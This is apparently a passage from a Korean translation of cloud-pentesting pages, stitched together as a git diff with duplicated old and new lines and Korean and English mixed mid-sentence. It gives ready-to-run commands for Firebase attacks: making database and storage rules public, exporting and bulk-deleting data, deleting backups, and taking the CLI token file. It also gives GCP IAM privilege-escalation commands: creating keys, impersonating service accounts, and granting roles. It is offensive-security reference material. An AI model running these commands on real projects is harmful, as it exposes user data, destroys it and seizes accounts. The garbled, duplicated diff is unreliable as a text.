공격자는 서비스에 따라 보안 규칙을 수정하기 위해 특정 권한이 필요합니다. Cloud Firestore 및 Firebase Cloud Storage의 경우, rulesets을 생성하기 위한 `firebaserules.rulesets.create` 권한과 릴리스를 배포하기 위한 `firebaserules.releases.create` 권한이 필요합니다. 이 권한들은 `roles/firebaserules.admin` 역할 또는 `roles/firebase.developAdmin`, `roles/firebase.admin` 같은 상위 역할에 포함되어 있습니다. Firebase Realtime Database의 경우에는 `firebasedatabase.instances.update` 권한이 필요합니다.
|
||||
|
||||
공격자는 보안 규칙을 수정하기 위해 Firebase REST API를 사용해야 합니다.
|
||||
먼저, 공격자는 service account credentials를 사용하여 access token을 획득해야 합니다.
|
||||
토큰을 얻기 위해:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Firebase Realtime Database 규칙을 수정하려면:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Cloud Firestore 규칙을 수정하려면 공격자는 먼저 ruleset을 생성한 다음 배포해야 합니다:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
이전 명령은 projects/<project-id>/rulesets/<ruleset-id> 형식의 ruleset 이름을 반환합니다. 새 버전을 배포하려면 PATCH 요청을 사용해 release를 업데이트해야 합니다:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Firebase Cloud Storage 규칙을 수정하려면:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
이전 명령은 projects/<project-id>/rulesets/<ruleset-id> 형식의 ruleset 이름을 반환합니다. 새 버전을 배포하려면 release를 PATCH 요청으로 업데이트해야 합니다:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Cloud Firestore에서의 데이터 유출 및 조작
|
||||
Cloud Firestore는 Cloud Datastore와 동일한 인프라 및 권한 시스템을 사용하므로 Datastore IAM permissions가 Firestore에 직접 적용됩니다. TTL 정책을 조작하려면 `datastore.indexes.update` 권한이 필요합니다. 데이터를 내보내려면 `datastore.databases.export` 권한이 필요합니다. 데이터를 가져오려면 datastore.databases.import 권한이 필요합니다. 대량 데이터 삭제를 수행하려면 `datastore.databases.bulkDelete` 권한이 필요합니다.
|
||||
|
||||
백업 및 복원 작업에는 다음과 같은 특정 권한이 필요합니다:
|
||||
|
||||
- `datastore.backups.get` and `datastore.backups.list` — 사용 가능한 백업을 나열하고 세부 정보를 조회하려면
|
||||
- `datastore.backups.delete` — 백업을 삭제하려면
|
||||
- `datastore.backups.restoreDatabase` — 백업에서 데이터베이스를 복원하려면
|
||||
- `datastore.backupSchedules.create` and `datastore.backupSchedules.delete` — 백업 스케줄을 관리하려면
|
||||
|
||||
TTL 정책이 생성되면 삭제 대상이 될 엔터티를 식별하기 위해 지정된 속성이 선택됩니다. 이 TTL 속성은 Date and time 타입이어야 합니다. 공격자는 이미 존재하는 속성을 선택하거나 나중에 추가할 속성을 지정할 수 있습니다. 필드의 값이 과거의 날짜이면 문서는 즉시 삭제 대상이 됩니다. 공격자는 gcloud CLI를 사용해 TTL 정책을 조작할 수 있습니다.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
공격자는 데이터를 내보내고 exfiltrate하기 위해 gcloud CLI를 사용할 수 있다.
|
||||
```bash
|
||||
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
악성 데이터를 가져오려면:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
대량 데이터 삭제를 수행하고 denial of service를 유발하기 위해, 공격자는 gcloud Firestore bulk-delete 도구를 사용하여 전체 컬렉션을 제거할 수 있다.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
백업 및 복원 작업에서 공격자는 데이터베이스의 현재 상태를 캡처하기 위해 예약된 백업을 생성하고, 기존 백업을 나열하며, 최근 변경사항을 덮어쓰기 위해 백업에서 복원하고, 영구적인 데이터 손실을 초래하기 위해 백업을 삭제하고, 예약된 백업을 제거할 수 있습니다.
|
||||
|
||||
즉시 백업을 생성하는 일일 백업 스케줄을 생성하려면:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
특정 백업에서 복원하려면 공격자는 해당 백업에 포함된 데이터를 사용해 새 데이터베이스를 생성할 수 있다. 복원 작업은 백업의 데이터를 새 데이터베이스에 기록하므로 기존 DATABASE_ID를 사용할 수 없다.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
백업을 삭제하여 영구적인 데이터 손실을 발생시키려면:
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Firebase CLI credentials의 도난 및 오용
|
||||
공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않지만, 개발자의 로컬 시스템이나 Firebase CLI 자격 증명 파일에 대한 접근 권한은 필요합니다. 이 자격 증명은 다음 위치에 있는 JSON 파일에 저장됩니다:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
이 파일에는 refresh_token과 access_token을 포함한 인증 토큰이 들어있으며, 이를 통해 공격자는 원래 firebase login을 실행한 사용자로 인증할 수 있습니다.
|
||||
|
||||
공격자가 Firebase CLI 자격 증명 파일에 접근하면, 해당 파일 전체를 자신의 시스템으로 복사할 수 있고, Firebase CLI는 기본 위치의 자격 증명을 자동으로 사용합니다. 그렇게 하면 공격자는 그 사용자가 접근 가능한 모든 Firebase 프로젝트를 볼 수 있습니다.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM에 대한 자세한 내용은 다음을 참조하세요:
|
||||
IAM에 대한 자세한 정보는 다음에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,54 +12,51 @@ IAM에 대한 자세한 내용은 다음을 참조하세요:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
언급된 권한을 가진 공격자는 당신에게 할당된 역할을 업데이트하여 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:
|
||||
|
||||
<details><summary>IAM 역할을 업데이트하여 권한 추가</summary>
|
||||
언급된 권한을 가진 attacker는 당신에게 할당된 역할을 업데이트하고 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
취약 환경의 **creation, exploit and cleaning of a vuln environment here**을 자동화하는 스크립트와 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
**creation, exploit and cleaning of a vuln environment here**을 자동화하는 스크립트는 찾을 수 있으며, 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
`iam.roles.create` 권한은 프로젝트/조직에서 커스텀 역할을 생성할 수 있게 합니다. 공격자 손에 들어가면 위험한데, 이는 새로운 권한 세트를 정의하여 나중에 엔티티에 할당(예: `iam.serviceAccounts.setIamPolicy` 권한을 사용하여)함으로써 권한 상승을 시도할 수 있기 때문입니다.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
언급된 권한을 가진 공격자는 **request an access token that belongs to a Service Account**할 수 있어, 우리보다 권한이 더 높은 Service Account의 access token을 요청하는 것이 가능합니다.
|
||||
|
||||
<details><summary>Impersonate service account to get access token</summary>
|
||||
권한이 언급된 공격자는 **서비스 계정에 속한 액세스 토큰을 요청할 수 있으므로**, 우리보다 권한이 더 많은 서비스 계정의 액세스 토큰을 요청할 수 있습니다.
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
자동화된 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) 스크립트와 이 권한을 악용하기 위한 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
자동화된 스크립트는 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)에서 확인할 수 있고, 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)에 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
앞서 언급한 권한을 가진 attacker는 **Service Account에 대한 user-managed key를 생성할 수 있으며**, 이를 통해 해당 Service Account로 GCP에 접근할 수 있습니다.
|
||||
|
||||
<details><summary>Service Account 키 생성 및 인증</summary>
|
||||
앞서 언급한 권한을 가진 공격자는 **Service Account에 대한 사용자 관리 키(user-managed key)를 생성할 수 있으며**, 이를 통해 해당 Service Account로 GCP에 접근할 수 있습니다.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
취약 환경의 [**생성, 악용 및 정리 자동화 스크립트는 여기에서 확인할 수 있습니다**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 및 이 권한을 악용하는 python 스크립트는 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)에 있습니다. 자세한 내용은 [**원본 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 확인하세요.
|
||||
|
||||
다음에서 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 스크립트를 자동화하는 스크립트와 이 권한을 악용하는 python 스크립트는 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)에서 확인할 수 있습니다. 자세한 내용은 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
|
||||
참고로 **`iam.serviceAccountKeys.update` won't work to modify the key** 는 SA의 키를 수정하는 데 작동하지 않습니다. 그런 작업을 하려면 `iam.serviceAccountKeys.create` 권한도 필요합니다.
|
||||
참고: **`iam.serviceAccountKeys.update`는 SA의 키를 수정하는 데 작동하지 않습니다**. 해당 작업을 수행하려면 `iam.serviceAccountKeys.create` 권한도 필요합니다.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
만약 특정 Service Account에 대해 **`iam.serviceAccounts.implicitDelegation`** 권한을 가지고 있고, 그 Service Account가 세 번째 Service Account에 대해 **`iam.serviceAccounts.getAccessToken`** 권한을 가지고 있다면, implicitDelegation을 사용해 그 세 번째 Service Account의 토큰을 **생성할 수 있습니다**. 이해를 돕기 위한 다이어그램은 다음과 같습니다.
|
||||
만약 어떤 Service Account에 대해 **`iam.serviceAccounts.implicitDelegation`** 권한을 가지고 있고, 그 Service Account가 제3의 Service Account에 대해 **`iam.serviceAccounts.getAccessToken`** 권한을 가지고 있다면, implicitDelegation을 사용해 **그 제3의 Service Account용 토큰을 생성할 수 있습니다**. 아래 다이어그램이 설명에 도움이 됩니다.
|
||||
|
||||

|
||||
|
||||
[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts)에 따르면, `gcloud`의 위임은 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 메서드를 사용하여 토큰을 생성할 때만 작동합니다. 따라서 아래는 API를 직접 사용하여 토큰을 얻는 방법입니다:
|
||||
|
||||
<details><summary>Generate access token with delegation using API</summary>
|
||||
참고로 [**문서**](https://cloud.google.com/iam/docs/understanding-service-accounts)에 따르면 `gcloud`의 위임은 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 메서드를 사용하여 토큰을 생성하는 경우에만 작동합니다. 따라서 아래는 API를 직접 사용해 토큰을 얻는 방법입니다:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -70,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
다음에서 취약 환경의 [**생성, 익스플로잇 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)와 이 권한을 악용하는 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)를 찾을 수 있습니다. 자세한 내용은 [**원문 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
언급한 권한을 가진 공격자는 GCP에서 **임의 페이로드에 서명**할 수 있습니다. 따라서 대상 SA의 서명을 받기 위해 **SA의 서명되지 않은 JWT를 생성한 후 이를 blob으로 보내 JWT에 서명을 받는 것**이 가능합니다. 자세한 내용은 [**이 글 읽기**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)를 참고하세요.
|
||||
언급된 권한을 가진 공격자는 **sign of arbitrary payloads in GCP** 할 수 있습니다. 따라서 대상 SA의 unsigned JWT를 생성한 뒤 이를 blob으로 전송하여 해당 SA로부터 JWT에 서명을 받는 것이 가능합니다. 자세한 내용은 [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)를 참조하세요.
|
||||
|
||||
다음에서 취약 환경의 [**생성, 익스플로잇 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)와 이 권한을 악용하는 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) 및 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)를 찾을 수 있습니다. 자세한 내용은 [**원문 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
언급한 권한을 가진 공격자는 **정형화된 JSON web token(JWT)에 서명**할 수 있습니다. 이전 방식과의 차이는 **JWT를 포함한 blob에 Google이 서명하게 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용한다는 것**입니다. 이로 인해 사용은 더 쉬워지지만 임의 바이트 대신 JWT만 서명할 수 있습니다.
|
||||
언급된 권한을 가진 공격자는 **sign well-formed JSON web tokens (JWTs)** 할 수 있습니다. 이전 방식과의 차이점은 **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT** 를 사용한다는 점입니다. 이 방법은 사용이 더 쉬우나 서명할 수 있는 것은 임의의 바이트가 아니라 JWT에 한정됩니다.
|
||||
|
||||
다음에서 취약 환경의 [**생성, 익스플로잇 및 정리 자동화 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)와 이 권한을 악용하는 파이썬 스크립트 [**여기**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)를 찾을 수 있습니다. 자세한 내용은 [**원문 연구**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)를 참고하세요.
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
언급한 권한을 가진 공격자는 **service accounts에 IAM 정책을 추가**할 수 있습니다. 이를 악용해 service account를 가장하는 데 필요한 권한을 **자신에게 부여**할 수 있습니다. 다음 예에서는 관심 있는 SA에 대해 `roles/iam.serviceAccountTokenCreator` 역할을 자신에게 부여하고 있습니다:
|
||||
|
||||
<details><summary>서비스 계정에 IAM 정책 바인딩 추가</summary>
|
||||
언급된 권한을 가진 공격자는 서비스 계정에 **add IAM policies to service accounts** 할 수 있습니다. 이를 남용하여 서비스 계정을 가장하는 데 필요한 권한을 **grant yourself** 할 수 있습니다. 다음 예제에서는 관심 있는 SA에 대해 `roles/iam.serviceAccountTokenCreator` 역할을 자신에게 부여하고 있습니다:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -101,47 +94,37 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
취약 환경의 자동화된 생성, 악용 및 정리 스크립트는 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
다음에서 스크립트를 찾을 수 있습니다: [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs permission**은 AWS의 **iam:PassRole permission**과 유사합니다. 이는 Compute Engine 인스턴스 시작과 같은 작업을 수행할 때 Service Account로 "actAs"할 수 있게 해 주며, 권한 관리를 보다 안전하게 합니다. 이 권한이 없으면 사용자가 부적절한 접근 권한을 획득할 수 있습니다. 또한 **iam.serviceAccounts.actAs**를 악용하는 방법은 여러 가지가 있으며, 각 방법은 서로 다른 권한 집합을 요구하는 반면 일부 다른 방법은 단 하나의 권한만 필요합니다.
|
||||
**iam.serviceAccounts.actAs permission**은 **iam:PassRole permission from AWS**와 유사합니다. Compute Engine 인스턴스 시작과 같은 작업을 실행할 때 필수적인데, Service Account를 "actAs"할 수 있게 허용하여 권한 관리를 안전하게 합니다. 이 권한이 없으면 사용자가 부적절한 접근 권한을 얻을 수 있습니다. 또한 **iam.serviceAccounts.actAs**를 악용하는 방법은 여러 가지가 있으며, 각 방법마다 요구되는 권한 집합이 달라 일부 다른 방법들이 단 하나의 권한만 요구하는 것과 대조됩니다.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### 서비스 계정 가장 <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Service account를 가장(impersonate)하면 새로운 더 높은 권한을 얻는 데 매우 유용할 수 있습니다. 다음은 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)할 수 있는 세 가지 방법입니다:
|
||||
서비스 계정을 가장하는 것은 **새롭고 더 높은 권한을 얻기**에 매우 유용할 수 있습니다. 다른 서비스 계정을 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)할 수 있는 방법은 세 가지가 있습니다:
|
||||
|
||||
- 인증(Authentication) **using RSA private keys** (위에서 설명)
|
||||
- 권한 부여(Authorization) **using Cloud IAM policies** (여기에서 설명)
|
||||
- **Deploying jobs on GCP services** (사용자 계정 침해에 더 해당)
|
||||
- 인증 **using RSA private keys** (covered above)
|
||||
- 권한 부여 **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
앞서 언급한 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이 토큰은 신원을 증명하는 데 사용되며 특정 리소스에 대한 암묵적인 권한을 반드시 포함하지는 않습니다.
|
||||
언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이는 신원을 증명하는 데 사용되며 반드시 리소스에 대한 암묵적인 권한을 포함하는 것은 아닙니다.
|
||||
|
||||
이 [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)에 따르면, 토큰을 사용할 서비스(토큰을 인증에 사용할 대상, audience)를 지정해야 하며, 그러면 service account와 JWT의 audience를 표시하는 google 서명 JWT를 받게 됩니다.
|
||||
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), audience(토큰을 사용해 인증하려는 서비스)를 지정해야 하며, 그러면 서비스 계정과 JWT의 audience를 나타내는 google이 서명한 JWT를 받게 됩니다.
|
||||
|
||||
액세스가 있다면 다음으로 OpenIDToken을 생성할 수 있습니다:
|
||||
|
||||
<details><summary>Generate OpenID token for service account</summary>
|
||||
접근 권한이 있다면 다음으로 OpenIDToken을 생성할 수 있습니다:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
그런 다음 이를 사용하여 서비스에 접근할 수 있습니다:
|
||||
|
||||
<details><summary>Use OpenID token to authenticate</summary>
|
||||
이제 이를 사용해 서비스에 액세스할 수 있습니다:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
이러한 토큰을 통해 인증을 지원하는 일부 서비스는 다음과 같습니다:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
@@ -149,7 +132,7 @@ curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC를 사용하는 경우)
|
||||
|
||||
서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법의 예는 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)에서 확인할 수 있습니다.
|
||||
서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법의 예제는 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)에서 확인할 수 있습니다.
|
||||
|
||||
## 참고자료
|
||||
|
||||
|
||||
@@ -4,34 +4,67 @@
|
||||
|
||||
## PubSub
|
||||
|
||||
더 많은 정보는 다음에서 확인하세요:
|
||||
자세한 정보는 다음에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
주제의 스냅샷은 **현재의 unACKed 메시지와 그 이후의 모든 메시지를 포함합니다**. 주제의 스냅샷을 생성하여 **모든 메시지에 접근할 수 있으며**, **주제에 직접 접근하는 것을 피할 수 있습니다**.
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
